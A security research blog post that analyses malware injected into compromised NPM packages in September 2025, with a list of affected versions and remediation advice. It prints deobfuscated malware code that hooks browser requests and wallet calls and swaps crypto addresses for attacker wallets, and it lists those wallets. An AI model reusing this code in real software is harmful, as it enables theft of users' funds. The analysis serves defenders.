Exaforce Author Bleon Proko
Research
September 10, 2025

There’s a snake in my package! How attackers are going from code to coin

How attackers hijacked popular NPM packages to replace crypto wallet addresses and silently redirect funds.

Bleon Proko

Bleon Proko

There’s a snake in my package! How attackers are going from code to coin

On September 8, 2025, Aikido Security reported and NPM confirmed that several NPM libraries were compromised in a user-side man-in-the-middle style attack. Our research dug into the details about how the attack works. The injected code sniffs requests to detect cryptocurrency accounts, then silently replaces them with attacker-controlled ones.

  • ansi-regex 6.2.1
  • color-name 2.0.1
  • debug 4.4.2
  • wrap-ansi 9.0.1
  • simple-swizzle 0.2.3
  • chalk 5.6.1
  • strip-ansi 7.1.1
  • color-string 2.1.1
  • backslash 0.2.1
  • has-ansi 6.0.1
  • chalk-template 1.1.1
  • supports-color 10.2.1
  • slice-ansi 7.1.1
  • is-arrayish 0.3.3
  • color-convert 3.1.1
  • ansi-styles 6.2.2
  • supports-hyperlinks 4.1.1
  • error-ex 1.3.3
NPM package page showing version 6.2.2 as latest, with version history including 6.2.1 and 6.2.2.
Example patched package impacted by the attack

All compromised versions have been removed from the NPM registry, and patched releases are available on NPM. We still recommend you scan your codebase, upgrade any impacted dependencies, and verify users have not been affected. This blog will break down how the attack went down and how to detect it.

Analysis of the attack

The attacker wasn’t too subtle when they included malicious code. The attacker added malicious, obfuscated JavaScript to the top of index.js in each package. The code was obfuscated and minified to look like normal script instructions, making it harder to detect.

Difference between versions 6.2.1 (compromised) and 6.2.2 (fixed) for package ansi-regex

The attack vector included detection of crypto wallets, interception of requests containing wallets, and replacement of legitimate addresses with attacker controlled ones. The flow broke down as follows:

  1. User visits an infected website
  2. Malicious code checks for cryptocurrency wallets
  3. It intercepts all network requests containing wallet addresses
  4. Wallet addresses are replaced with attacker-controlled ones using similarity matching
  5. When the victim initiates a transaction, funds are redirected
  6. Because legitimate wallet interfaces are used, the attack appears nearly invisible
Flowchart showing a crypto wallet attack script detecting wallets and tampering with fetch requests.

Detecting malicious crypto wallets

Note: All code shown below has been cleaned up for better readability.

The malware begins by checking for an Ethereum object window.ethereum.  It then waits for an eth_accounts response, retrieves wallet addresses, and attempts to run runmask() and, if newdlocal() is never executed (rund ≠ 1), sets rund’s value to 1 and runs newdlocal() once.

var neth = 0;
var rund = 0;
var loval = 0;

async function checkethereumw() {
  try {
    const etherumReq = await window.ethereum.request({ method: 'eth_accounts' });
    etherumReq.length > 0 ? (runmask(), rund != 1 && (rund = 1, neth = 1, newdlocal())) : rund != 1 && (rund = 1, newdlocal());
  } catch (error) {
    if (rund != 1) {
      rund = 1;
      newdlocal();
    }
  }
}

typeof window != 'undefined' && typeof window.ethereum != 'undefined' ? checkethereumw() : rund != 1 && (rund = 1, newdlocal());

Request hooking

newdlocal() is the function that hooks the browser, grabs the requests being made, and tampers with the request to modify the target’s account with an attacker’s account. This effectively transfers the funds from a legitimate receiver to a malicious one. The following are the functions defined in the code, with the names of the functions modified for easy readability and the original function name next to it.

const originalFetch = fetch;
fetch = async function (...args) { 
  const response = await originalFetch(...args);
  const contentType = response.headers.get('Content-Type') || '';
  let data = contentType.includes('application/json') 
    ? await response.clone().json() 
    : await response.clone().text();
  
  const processed = processData(data);
  const finalData = typeof processed === 'string' ? processed : JSON.stringify(processed);

  return new Response(finalData, {
    status: response.status,
    statusText: response.statusText,
    headers: response.headers
  });
};

The moment a wallet is found, the script will look for the closest matching attacker wallet from any of the attacker provided wallets. That way, the user will not detect the attack, as the changed wallet will look similar to the legitimate one. The malicious functions _0x3479c8(_0x13a5cc, _0x8c209f) and _0x2abae0(_0x348925, _0x2f1e3d) use the Levenshtein distance, which is defined as the minimum number of single-character edits (insertions, deletions, or substitutions) required to change one word into the other. Then, it will try to hijack the fetch() API requests and XMLHttpRequest responses, effectively changing the wallet on the request and the response.

  function levenshteinDistance(a, b) { // _0x3479c8(_0x13a5cc, _0x8c209f)
    const dp = Array.from({ length: a.length + 1 }, () => Array(b.length + 1).fill(0));

    for (let i = 0; i <= a.length; i++) dp[i][0] = i;
    for (let j = 0; j <= b.length; j++) dp[0][j] = j;

    for (let i = 1; i <= a.length; i++) {
      for (let j = 1; j <= b.length; j++) {
        if (a[i - 1] === b[j - 1]) {
          dp[i][j] = dp[i - 1][j - 1];
        } else {
          dp[i][j] = 1 + Math.min(
            dp[i - 1][j],     // deletion
            dp[i][j - 1],     // insertion
            dp[i - 1][j - 1]  // substitution
          );
        }
      }
    }
    return dp[a.length][b.length];
  }

  function findClosestString(input, candidates) { // _0x2abae0(_0x348925, _0x2f1e3d)
    let bestDistance = Infinity;
    let bestMatch = null;
    for (let candidate of candidates) {
      const distance = levenshteinDistance(input.toLowerCase(), candidate.toLowerCase());
      if (distance < bestDistance) {
        bestDistance = distance;
        bestMatch = candidate;
      }
    }
    return bestMatch;
  }

The attacker included a list of attacker controlled wallets in the script, which are checked against the target’s controlled wallets.

  • Legacy Bitcoin: 1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx (and 39 others)
  • Bitcoin Bech32: bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm (and 39 others)
  • Ethereum: 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976 (and 59 others)
  • Litecoin: LNFWHeiSjb4QB4iSHMEvaZ8caPwtz4t6Ug(and 39 others)
  • Bitcoin Cash: bitcoincash:qpwsaxghtvt6phm53vfdj0s6mj4l7h24dgkuxeanyh (and 39 others)
  • Solana: 5VVyuV5K6c2gMq1zVeQUFAmo8shPZH28MJCVzccrsZG6 (and 19 others)
  • Tron: TB9emsCq6fQw6wRk4HBxxNnU6Hwt1DnV67 (and 39 others)

The check will be performed for all wallets provided by the attacker, and the closest one will be returned.

function transform(inputStr) {
    var legacyBTC = [
    ];
    var segwitBTC = [
    ];
    var ethAddresses = [
    ];
    var solanaAddrs = [
    ];
    var tronAddrs = [
    ];
    var ltcAddrs = [
    ];
    var bchAddrs = [
    ];
    for (const [currency, regex] of Object.entries(_0x3ec3bb)) {
      const matches = inputStr.match(regex) || [];
      for (const match of matches) {
        if (currency == 'ethereum') {
          if (!ethAddresses.includes(match) && neth == 0) {
            inputStr = inputStr.replace(match, closestMatch(match, ethAddresses));
          }
        }
        if (currency == 'bitcoinLegacy') {
          if (!legacyBTC.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, legacyBTC));
          }
        }
        if (currency == 'bitcoinSegwit') {
          if (!segwitBTC.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, segwitBTC));
          }
        }
        if (currency == 'tron') {
          if (!tronAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, tronAddrs));
          }
        }
        if (currency == 'ltc') {
          if (!ltcAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
          }
        }
        if (currency == 'ltc2') {
          if (!ltcAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
          }
        }
        if (currency == 'bch') {
          if (!bchAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, bchAddrs));
          }
        }
        const allAddrs = [
          ...ethAddresses,
          ...legacyBTC,
          ...segwitBTC,
          ...tronAddrs,
          ...ltcAddrs,
          ...bchAddrs
        ];
        const isKnown = allAddrs.includes(match);
        if (currency == 'solana' && !isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
        if (currency == 'solana2' && !isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
        if (currency == 'solana3' && isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
      }
    }
    return inputStr;
}

The script goes through the requests and responses, modifies the target’s wallet with an attacker controlled wallet, and lets the target continue with their operations.

Transaction Manipulation using runmask()

The runmask() function is designed to intercept wallet calls in a browser (MetaMask, Solana wallets, etc.) and modify the transaction data to inject attacker controlled address before it’s sent. When a wallet is detected by the script by finding the value of window.ethereum, the malware waits for methods like request, send, and sendAsync.

function interceptWallet(wallet) { // _0x41630a(_0x5d6d52)
    const methods = ['request', 'send', 'sendAsync'];

    methods.forEach(name => {
        if (typeof wallet[name] === 'function') {
            originalMethods.set(name, wallet[name]);
            Object.defineProperty(wallet, name, {
                value: wrapMethod(wallet[name]),
                writable: true,
                configurable: true
            });
        }
    });

    isActive = true;
}

When one of the methods is found, the function _0x485f9d(_0x38473f will _0x292c7a) will try to find out if the transaction is an Ethereum or Solana transaction and modify the transaction using the function _0x1089ae(_0x4ac357, _0xc83c36 = true).

function wrapMethod(originalMethod) { // _0x1089ae(_0x4ac357, _0xc83c36 = true)
  return async function (...args) {
    increment++; // increment intercept count
    let clonedArgs;

    // Deep clone arguments to avoid mutation
    try {
      clonedArgs = JSON.parse(JSON.stringify(args));
    } catch {
      clonedArgs = [...args];
    }

    if (args[0] && typeof args[0] === 'object') {
      const request = clonedArgs[0];

      // Ethereum transaction
      if (request.method === 'eth_sendTransaction' && request.params?.[0]) {
        try {
          request.params[0] = maskTransaction(request.params[0], true); // _0x1089ae(tx, false)
        } catch {}

      // Solana transaction
      } else if (
        (request.method === 'solana_signTransaction' || request.method === 'solana_signAndSendTransaction') &&
        request.params?.[0]
      ) {
        try {
          let tx = request.params[0].transaction || request.params[0];
          const maskedTx = maskTransaction(tx, false); // _0x1089ae(tx, false)
          if (request.params[0].transaction) {
            request.params[0].transaction = maskedTx;
          } else {
            request.params[0] = maskedTx;
          }
        } catch {}
      }
    }

    const result = originalMethod();

    // Handle promises
    if (result && typeof result.then === 'function') {
      return result.then(res => res).catch(err => { throw err; });
    }

    return result;
  };
}

Function _0x1089ae(_0x4ac357, _0xc83c36 = true) grabs the request intercepted by the malware and injects its own address on it, while also tampering with the Ethereum ERC20 Token Contract or the Solana Transaction. In both cases, an attacker's address is provided.

function maskTransaction(tx, isEthereum = true) {
  // Deep clone transaction to avoid mutating original
  const maskedTx = JSON.parse(JSON.stringify(tx));

  if (isEthereum) {
    const attackAddress = '0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976';

    // Redirect non-zero value transactions
    if (maskedTx.value && maskedTx.value !== '0x0' && maskedTx.value !== '0') {
      maskedTx.to = attackAddress;
    }

    if (maskedTx.data) {
      const data = maskedTx.data.toLowerCase();

      // ERC20 approve
      if (data.startsWith('0x095ea7b3') && data.length >= 74) {
        maskedTx.data = data.substring(0, 10) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
      }
      // Custom contract call
      else if (data.startsWith('0xd505accf') && data.length >= 458) {
        maskedTx.data = data.substring(0, 10) +
                        data.substring(10, 74) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' +
                        data.substring(202);
      }
      // ERC20 transfer
      else if (data.startsWith('0xa9059cbb') && data.length >= 74) {
        maskedTx.data = data.substring(0, 10) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        data.substring(74);
      }
      // ERC20 transferFrom
      else if (data.startsWith('0x23b872dd') && data.length >= 138) {
        maskedTx.data = data.substring(0, 10) +
                        data.substring(10, 74) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        data.substring(138);
      }
    } else if (maskedTx.to && maskedTx.to !== attackAddress) {
      maskedTx.to = attackAddress;
    }
  } else {
    // Solana-style transaction masking
    if (maskedTx.instructions && Array.isArray(maskedTx.instructions)) {
      maskedTx.instructions.forEach(instr => {
        if (instr.accounts && Array.isArray(instr.accounts)) {
          instr.accounts.forEach(acc => {
            if (typeof acc === 'string') acc = '19111111111111111111111111111111';
            else acc.pubkey = '19111111111111111111111111111111';
          });
        }
        if (instr.keys && Array.isArray(instr.keys)) {
          instr.keys.forEach(key => key.pubkey = '19111111111111111111111111111111');
        }
      });
    }
    maskedTx.recipient = '19111111111111111111111111111111';
    maskedTx.destination = '19111111111111111111111111111111';
  }

  return maskedTx;
}

The Ethereum attacker address provided is the first element in the Ethereum Address list.

var _0x4477fc = [      
'0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976',      
--snip--

Recommendations and summing it up

We strongly recommend scanning your entire codebase for any of the compromised libraries and updating them immediately. This includes checking package.json, lock files, node_modules, and your SBOM dependency trees. Once updates are applied, monitor all recent wallet transactions for suspicious activity, revoke any exposed token approvals, and, where possible, migrate to fresh wallet addresses. To further reduce risk, ensure you pin package versions to mitigate similar supply chain compromises in the future.

This malware was highly sophisticated. It hooked into the browser, intercepted requests, hijacked wallets, and operated across multiple blockchains. By abusing legitimate channels, masking transactions, and using obfuscation techniques, it was able to blend in and remain difficult to detect.

Recent posts

The breach already inside: Operationalizing insider risk management

The breach already inside: Operationalizing insider risk management

7 predictions for the security landscape in 2026

7 predictions for the security landscape in 2026

Exaforce Agentic SOC 2025 year in review

Exaforce Agentic SOC 2025 year in review

When trusted third parties behave like threat actors

When trusted third parties behave like threat actors

Lessons from the hallways at my first AWS re:Invent

Lessons from the hallways at my first AWS re:Invent

Detecting and interrupting a sophisticated Google Workspace intrusion with agentic AI security

Detecting and interrupting a sophisticated Google Workspace intrusion with agentic AI security

Feeding the worm a soft cloudy bun: The second coming of Shai-Hulud

Feeding the worm a soft cloudy bun: The second coming of Shai-Hulud

How an AI SOC turns Anthropic’s intelligence report into daily defense

How an AI SOC turns Anthropic’s intelligence report into daily defense

Your AI-driven threat hunting is only as good as your data platform and pipeline

Your AI-driven threat hunting is only as good as your data platform and pipeline

The log rings don’t lie: historical enumeration in plain sight

The log rings don’t lie: historical enumeration in plain sight

The past, present, and future of security detections

The past, present, and future of security detections

We’re HITRUST certified: strengthening trust across cloud-native SOC automation

We’re HITRUST certified: strengthening trust across cloud-native SOC automation

GPT needs to be rewired for security

GPT needs to be rewired for security

Aggregation redefined: Reducing noise, enhancing context

Aggregation redefined: Reducing noise, enhancing context

Exaforce selected to join the 2025 AWS Generative AI Accelerator

Exaforce selected to join the 2025 AWS Generative AI Accelerator

Do you feel in control? Analysis of AWS CloudControl API as an attack tool

Do you feel in control? Analysis of AWS CloudControl API as an attack tool

Exaforce Named a Leader and Outperformer in the 2025 GigaOm Radar for SecOps Automation

Exaforce Named a Leader and Outperformer in the 2025 GigaOm Radar for SecOps Automation

How agentic AI simplifies GuardDuty incident response playbook execution

How agentic AI simplifies GuardDuty incident response playbook execution

Ghost in the Script: Impersonating Google App Script projects for stealthy persistence

Ghost in the Script: Impersonating Google App Script projects for stealthy persistence

How Exaforce detected an account takeover attack in a customer’s environment, leveraging our multi-model AI

How Exaforce detected an account takeover attack in a customer’s environment, leveraging our multi-model AI

s1ngularity supply chain attack: What happened & how Exaforce protected customers

s1ngularity supply chain attack: What happened & how Exaforce protected customers

Introducing Exaforce MDR: A Managed SOC That Runs on AI

Introducing Exaforce MDR: A Managed SOC That Runs on AI

Meet Exaforce: The full-lifecycle AI SOC platform

Meet Exaforce: The full-lifecycle AI SOC platform

Building trust at Exaforce: Our journey through security and compliance

Building trust at Exaforce: Our journey through security and compliance

Fixing the broken alert triage process with more signal and less noise

Fixing the broken alert triage process with more signal and less noise

Evaluate your AI SOC initiative

Evaluate your AI SOC initiative

One LLM does not an AI SOC make

One LLM does not an AI SOC make

Detections done right: Threat detections require more than just rules and anomaly detection

Detections done right: Threat detections require more than just rules and anomaly detection

The KiranaPro breach: A wake-up call for cloud threat monitoring

The KiranaPro breach: A wake-up call for cloud threat monitoring

3 points missing from agentic AI conversations at RSAC

3 points missing from agentic AI conversations at RSAC

5 reasons why security investigations are broken - and how Exaforce fixes them

5 reasons why security investigations are broken - and how Exaforce fixes them

Bridging the Cloud Security Gap: Real-World Use Cases for Threat Monitoring

Bridging the Cloud Security Gap: Real-World Use Cases for Threat Monitoring

Reimagining the SOC: Humans + AI bots = Better, faster, cheaper security & operations

Reimagining the SOC: Humans + AI bots = Better, faster, cheaper security & operations

Safeguarding against Github Actions(tj-actions/changed-files) compromise

Safeguarding against Github Actions(tj-actions/changed-files) compromise

Npm provenance: bridging the missing security layer in JavaScript libraries

Npm provenance: bridging the missing security layer in JavaScript libraries

Exaforce’s response to the LottieFiles npm package compromise

Exaforce’s response to the LottieFiles npm package compromise

Explore how Exaforce can help transform your security operations

See what Exabots + humans can do for you

Black Pattern Background